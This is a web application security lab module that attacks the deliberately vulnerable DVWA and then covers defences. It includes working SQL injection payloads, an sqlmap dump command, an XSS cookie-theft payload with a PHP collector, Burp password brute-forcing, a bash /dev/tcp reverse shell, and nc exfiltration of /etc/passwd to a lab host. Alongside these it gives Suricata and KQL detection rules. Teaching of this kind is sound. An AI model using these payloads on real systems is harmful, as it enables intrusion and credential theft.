# FILE: MOD7_Web_Application_Security.md
# MODULE 7: WEB APPLICATION SECURITY

## Learning Objectives
- Understand OWASP Top 10 vulnerabilities
- Perform SQL injection and XSS attacks
- Use Burp Suite for web app penetration testing
- Configure Web Application Firewall (WAF) defenses
- Detect web attacks in Security Onion

---

## OWASP TOP 10 (2021)

1. **A01 - Broken Access Control**
2. **A02 - Cryptographic Failures**
3. **A03 - Injection** (SQL, Command, LDAP)
4. **A04 - Insecure Design**
5. **A05 - Security Misconfiguration**
6. **A06 - Vulnerable Components**
7. **A07 - Authentication Failures**
8. **A08 - Software and Data Integrity Failures**
9. **A09 - Security Logging Failures**
10. **A10 - Server-Side Request Forgery (SSRF)**

---

## LAB 7.1: DEPLOY DVWA (DAMN VULNERABLE WEB APP)

```bash
# On victim network (VLAN 400), deploy Docker container
# From Proxmox, create Ubuntu VM (VM ID 402)

# Install Docker
sudo apt update
sudo apt install docker.io -y
sudo systemctl start docker

# Deploy DVWA
sudo docker run -d -p 80:80 vulnerables/web-dvwa
# Access at http://10.10.4.20/

# Initial setup:
# - Create database (click button)
# - Login: admin / password
# - Set security level: Low (for learning)
```

---

## LAB 7.2: SQL INJECTION

### Understanding SQL Injection

**Vulnerable code example:**
```php
$query = "SELECT * FROM users WHERE username='$_POST[user]' AND password='$_POST[pass]'";
```

**Attack:** Inject SQL syntax to bypass authentication

### Hands-On SQL Injection

```
1. Navigate to DVWA > SQL Injection

2. Test for vulnerability:
   Input: 1' OR '1'='1
   # Completes SQL: SELECT * FROM users WHERE user_id = '1' OR '1'='1'
   # Always true → Returns all users

3. Enumerate database structure:
   Input: 1' UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_schema=database() #
   # Shows all table names

4. Extract data:
   Input: 1' UNION SELECT user, password FROM users #
   # Dumps usernames and password hashes

5. Use SQLMap (automated tool):
   # From Kali
   sqlmap -u "http://10.10.4.20/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=abc123; security=low" --dbs
   # --dbs: List databases
   # --tables -D dvwa: List tables in dvwa database
   # --dump -T users: Dump users table
```

### Defense: Prepared Statements

```php
// SECURE code using prepared statements
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$_POST['user'], $_POST['pass']]);
```

---

## LAB 7.3: CROSS-SITE SCRIPTING (XSS)

### Types of XSS
- **Reflected XSS:** Payload in URL, reflected in response
- **Stored XSS:** Payload saved in database, displayed to all users
- **DOM-based XSS:** Payload manipulates client-side JavaScript

### Reflected XSS Attack

```
1. Navigate to DVWA > XSS (Reflected)

2. Simple payload:
   Input: <script>alert('XSS')</script>
   # JavaScript executes in browser

3. Cookie theft payload:
   Input: <script>document.location='http://10.10.2.50/steal.php?cookie='+document.cookie</script>
   # Sends victim's cookies to attacker server

4. On Kali, setup listener:
   # Create steal.php:
   <?php
   file_put_contents('stolen_cookies.txt', $_GET['cookie'] . "\n", FILE_APPEND);
   ?>

   # Start PHP server:
   php -S 0.0.0.0:80

5. Send malicious link to victim:
   http://10.10.4.20/vulnerabilities/xss_r/?name=<script>document.location='http://10.10.2.50/steal.php?cookie='+document.cookie</script>
```

### Defense: Input Validation & Output Encoding

```php
// SECURE: HTML encode output
echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
```

---

## LAB 7.4: BURP SUITE ESSENTIALS

### Setup Burp Suite

```
1. Launch Burp Suite Community Edition (pre-installed on Kali)
   burpsuite &

2. Configure Firefox proxy:
   Preferences > Network Settings > Manual proxy
   HTTP Proxy: 127.0.0.1
   Port: 8080
   Check: "Use this proxy for all protocols"

3. Navigate to DVWA in Firefox
   - Burp captures all HTTP requests

4. Burp Proxy Tab:
   - Intercept is on: Requests pause, you can modify
   - Intercept is off: Requests pass through (logged in HTTP history)
```

### Intercepting and Modifying Requests

```
1. Login to DVWA (admin/password)
2. In Burp, see POST request with credentials
3. Right-click request > Send to Repeater
4. In Repeater tab:
   - Modify parameters
   - Click "Send"
   - View response
5. Example: Change security level in cookie
   Original: security=low
   Modified: security=impossible
   # Bypass security restrictions
```

### Intruder (Automated Attacks)

```
1. Capture login request in Burp Proxy
2. Right-click > Send to Intruder
3. Intruder tab:
   - Attack type: Sniper (single parameter)
   - Positions: Highlight password field, click "Add §"
4. Payloads tab:
   - Payload type: Simple list
   - Load: /usr/share/wordlists/rockyou.txt
5. Start attack:
   - Brute-force passwords
   - Look for different response length (successful login)
```

---

## LAB 7.5: COMMAND INJECTION

### Exploiting OS Command Injection

```
1. Navigate to DVWA > Command Injection

2. Test input:
   Input: 127.0.0.1
   # Normal ping command executes

3. Chain commands:
   Input: 127.0.0.1 | whoami
   # Executes: ping 127.0.0.1 | whoami
   # Shows current user

4. Reverse shell via command injection:
   Input: 127.0.0.1 | bash -i >& /dev/tcp/10.10.2.50/4444 0>&1
   # On Kali first: nc -lvnp 4444
   # Gets shell on web server

5. Exfiltrate data:
   Input: 127.0.0.1 | cat /etc/passwd | nc 10.10.2.50 5555
   # On Kali: nc -lvnp 5555 > passwd_stolen.txt
```

---

## LAB 7.6: WEB APPLICATION FIREWALL (WAF)

### Deploy ModSecurity on pfSense

```
1. pfSense > System > Package Manager
2. Available Packages > Search: "snort" or "suricata"
   # Suricata can act as WAF for HTTP

3. Alternatively, use DVWA's built-in security levels:
   - Low: No protection
   - Medium: Basic filtering
   - High: Strong protection
   - Impossible: Secure code implementation

4. Configure Suricata for HTTP inspection:
   Services > Suricata > Interface: LAN
   - Enable: Application Layer Protocols > HTTP
   - Rules: Enable ET web_server and web_client categories
```

### Custom WAF Rules (Suricata)

```
# Create custom rule to block SQL injection
alert http any any -> $HOME_NET any (msg:"SQL Injection Attempt"; flow:established,to_server; content:"UNION"; http_uri; content:"SELECT"; http_uri; sid:1000001; rev:1;)

# Block XSS attempts
alert http any any -> $HOME_NET any (msg:"XSS Attempt - Script Tag"; flow:established,to_server; content:"<script"; http_uri; nocase; sid:1000002; rev:1;)

# Detect command injection
alert http any any -> $HOME_NET any (msg:"Command Injection - Pipe Character"; flow:established,to_server; content:"|"; http_uri; sid:1000003; rev:1;)
```

---

## LAB 7.7: WEB ATTACK DETECTION IN SECURITY ONION

### KQL Queries for Web Attacks

```
# SQL Injection detection
http.request.body: (*UNION* AND *SELECT*) OR http.request.uri: (*UNION* AND *SELECT*)

# XSS detection
http.request.uri: (*<script* OR *javascript:* OR *onerror=*)

# Command injection
http.request.body: (*;* OR *|* OR *&&*) AND http.request.body: (*whoami* OR *cat* OR */etc/passwd*)

# Web shell upload
http.request.body: *<?php* AND file.extension: php

# Directory traversal
http.request.uri: (*../* OR *..\*)
```

### Create Detection Rule

```
1. Security Onion > Kibana > Security > Rules

2. Create custom rule:
   Name: Web Attack - SQL Injection
   Index pattern: so-*
   Rule query:
     http.request.body: *UNION* AND http.request.body: *SELECT*
   Severity: High
   MITRE: T1190 (Exploit Public-Facing Application)
```

---

## DELIVERABLES

- [ ] SQL injection attack demonstration (screenshots)
- [ ] Stored XSS payload that captures cookies
- [ ] Burp Suite Intruder brute-force results
- [ ] Command injection reverse shell capture
- [ ] WAF rule configuration blocking attacks
- [ ] Security Onion detection rules for web attacks
- [ ] Report: OWASP Top 10 vulnerabilities found in DVWA

---

**END OF MODULE 7**

Proceed to **MOD8: Threat Intelligence & Hunting** to map attacks to MITRE ATT&CK.
